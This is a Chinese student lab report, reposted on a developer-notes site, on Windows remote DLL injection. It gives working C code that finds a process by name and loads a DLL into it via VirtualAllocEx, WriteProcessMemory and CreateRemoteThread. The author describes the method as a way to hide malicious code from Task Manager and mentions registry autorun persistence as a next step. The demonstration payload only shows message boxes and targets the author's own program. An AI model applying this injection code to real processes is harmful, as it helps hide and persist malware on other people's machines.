热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

20145319《网络渗透》免考—远程注入

20145319《网络渗透》免考—远程注入概述本次实验在window环境下进行,通过将自己编写的dll文件以远程线程的方式注入到宿主程序的虚拟地址空间中完成注入主要知识如下动静态库相关知识(语法以及

20145319 《网络渗透》免考—远程注入

概述

  • 本次实验在window环境下进行,通过将自己编写的dll文件以远程线程的方式注入到宿主程序的虚拟地址空间中完成注入
  • 主要知识如下
    • 动静态库相关知识(语法以及制作)
    • 进程,线程相关概念
    • 系统快照,进程枚举等相关知识(windows api函数)

实验内容

概述

  • 当我们运行一个应用程序时,就会在系统中创建一个进程,可以说进程就是一个程序的执行实例。而线程是操作系统能够进行运算调度的最小单位,被包含在进程中,是进程的实际运作单位。
  • 正常状况下,每个进程被创建时,系统都会分配给其相应的一块虚拟地址空间,将可执行文件或者dll文件的代码加载到该进程空间中执行,理论上,这个虚拟地址空间相当于该进程的“私人空间”,但是CreateRemoteThread函数,通过这个API函数则可以为一个进程新增一个线程,我们就可以通过这个方法来将自身的恶意代码包装成一个线程,来加载到进程的虚拟空间空间中执行,并且共享宿主进程的空间资源,同样,因为我们的恶意代码是作为一个线程“寄生”在宿主进程中的,所以在任务管理器上也无法显示出来,一定程度上也实现了隐藏

步骤

  • 首先将我们的恶意代码写成一个dll文件,dll文件编写可以参考静态库和动态库的制作
  • 编写一个简单dll,当加载成功时弹窗提示

    #include "windows.h"

    BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

    {
    switch (fdwReason){
    case DLL_PROCESS_ATTACH: //dll被加载时,弹出提示
    MessageBox(NULL, TEXT("hello,5319"), TEXT("提示"), MB_OK);
    break;

    case DLL_PROCESS_DETACH: //dll被清除时,弹出提示
    MessageBox(NULL, TEXT("goodbye,5319"), TEXT("提示"), MB_OK);
    break;
    }

    return true;
    }
  • 写好了我们的“病毒”程序,我们就需要寻找我们的目标作为宿主(这里我选择了一个自己编写的窗口小程序hello5319.exe)通过系统函数获取其Pid以便进行下一步操作

    DWORD getPID()
    {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);

    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hProcessSnap == INVALID_HANDLE_VALUE)

    {
    return false;
    }

    BOOL bMore = Process32First(hProcessSnap, &pe32);
    while (bMore)
    {
    if (!stricmp(pe32.szExeFile, "hello5319.exe")){ //获取该进程的句柄
    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS,false, pe32.th32ProcessID);
    if (handle == NULL)
    {
    exit(0);
    }
    CloseHandle(hProcessSnap);
    CloseHandle(handle);
    break;

    }
    else
    bMore = Process32Next(hProcessSnap, &pe32);

    }

    return pe32.th32ProcessID; //返回此进程ID

    }
  • 之后就在进程中分配相应空间,创建新线程,使用函数loadlibrary完成dll加载,函数实现如下

    BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
    {

    HANDLE hProcess;

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId);

    char *pszdll;

    pszdll = (char *)VirtualAllocEx(hProcess, NULL, lstrlen(DllFullPath) + 1,MEM_COMMIT, PAGE_READWRITE); //在远程进程的内存地址空间分配DLL文件名空间

    WriteProcessMemory(hProcess,pszdll, (void *)DllFullPath, lstrlen(DllFullPath) + 1, NULL);//将DLL的路径名写入到远程进程的内存空间

    DWORD dwID;
    LPVOID pFunc = LoadLibrary;
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc,pszdll, 0, &dwID);

    CloseHandle(hProcess);
    CloseHandle(hThread);

    return TRUE;
    }

    运行结果

  • 首先运行我们的宿主程序hello5319.exe,然后运行我们的注入程序,就可以看到结果
  • 当我们关闭宿主程序时,则弹出提示goodbye,5319
  • 以上我们的远程注入就算是成功了,但是要想进一步完善则需要运用到更多技术,例如,当宿主程序关闭时,dll文件即被清除,无法将其隐藏并保存下来,我们就需要运用资源节方面的技术,或是将修改注册表,将注入程序添加到自启动项,每次开机都完成一次注入,不过那只能等到下一次再一一介绍了


推荐阅读
  • Linux 中使用 clone 函数来创建线程
    2019独角兽企业重金招聘Python工程师标准Linux上创建线程一般使用的是pthread库实际上libc也给我们提供了创建线程的函数那就是cloneintclone(i ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • C++字符字符串处理及字符集编码方案
    本文介绍了C++中字符字符串处理的问题,并详细解释了字符集编码方案,包括UNICODE、Windows apps采用的UTF-16编码、ASCII、SBCS和DBCS编码方案。同时说明了ANSI C标准和Windows中的字符/字符串数据类型实现。文章还提到了在编译时需要定义UNICODE宏以支持unicode编码,否则将使用windows code page编译。最后,给出了相关的头文件和数据类型定义。 ... [详细]
  • 主线:设计窗口类注册窗口类产生窗口显示窗口更新窗口消息循环(将消息路由到窗口中去处理)。APPMODUL.CPP源文件被编译链接进入项目,从APPMOD ... [详细]
  • 本文详细介绍了GetModuleFileName函数的用法,该函数可以用于获取当前模块所在的路径,方便进行文件操作和读取配置信息。文章通过示例代码和详细的解释,帮助读者理解和使用该函数。同时,还提供了相关的API函数声明和说明。 ... [详细]
  • 本文介绍了在Win10上安装WinPythonHadoop的详细步骤,包括安装Python环境、安装JDK8、安装pyspark、安装Hadoop和Spark、设置环境变量、下载winutils.exe等。同时提醒注意Hadoop版本与pyspark版本的一致性,并建议重启电脑以确保安装成功。 ... [详细]
  • Android Studio Bumblebee | 2021.1.1(大黄蜂版本使用介绍)
    本文介绍了Android Studio Bumblebee | 2021.1.1(大黄蜂版本)的使用方法和相关知识,包括Gradle的介绍、设备管理器的配置、无线调试、新版本问题等内容。同时还提供了更新版本的下载地址和启动页面截图。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • 本文讨论了clone的fork与pthread_create创建线程的不同之处。进程是一个指令执行流及其执行环境,其执行环境是一个系统资源的集合。在调用系统调用fork创建一个进程时,子进程只是完全复制父进程的资源,这样得到的子进程独立于父进程,具有良好的并发性。但是二者之间的通讯需要通过专门的通讯机制,另外通过fork创建子进程系统开销很大。因此,在某些情况下,使用clone或pthread_create创建线程可能更加高效。 ... [详细]
  • 微软评估和规划(MAP)的工具包介绍及应用实验手册
    本文介绍了微软评估和规划(MAP)的工具包,该工具包是一个无代理工具,旨在简化和精简通过网络范围内的自动发现和评估IT基础设施在多个方案规划进程。工具包支持库存和使用用于SQL Server和Windows Server迁移评估,以及评估服务器的信息最广泛使用微软的技术。此外,工具包还提供了服务器虚拟化方案,以帮助识别未被充分利用的资源和硬件需要成功巩固服务器使用微软的Hyper - V技术规格。 ... [详细]
  • 面试经验分享:华为面试四轮电话面试、一轮笔试、一轮主管视频面试、一轮hr视频面试
    最近有朋友去华为面试,面试经历包括四轮电话面试、一轮笔试、一轮主管视频面试、一轮hr视频面试。80%的人都在第一轮电话面试中失败,因为缺乏基础知识。面试问题涉及 ... [详细]
  • java程序设计试题_《Java语言程序设计》期末考试模拟试题——填空题和编程题...
    一、根据题意,填写出空格中的内容Java平台包括三个技术方向,其中J2ME代表____________、J2SE代表___________、J2EE代表 ... [详细]
  • 起因由于我录制过一个小程序的课程,里面有消息模板的讲解。最近有几位同学反馈官方要取消消息模板,使用订阅消息。为了方便大家容易学 PythonFlask构建微信小程序订餐系统 课程。 ... [详细]
  • 校园表白墙微信小程序,校园小情书、告白墙、论坛,大学表白墙搭建教程
    小程序的名字必须和你微信注册的名称一模一样在后台注册好小程序。mp.wx-union.cn后台域名https。mp.wx-union.cn ... [详细]
  • 问题描述:域名已经备案,我全部都有,也在后台配置了,但是手机预览,还是请求失败,PC端是可以请求 ... [详细]
author-avatar
我所信仰的感觉
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有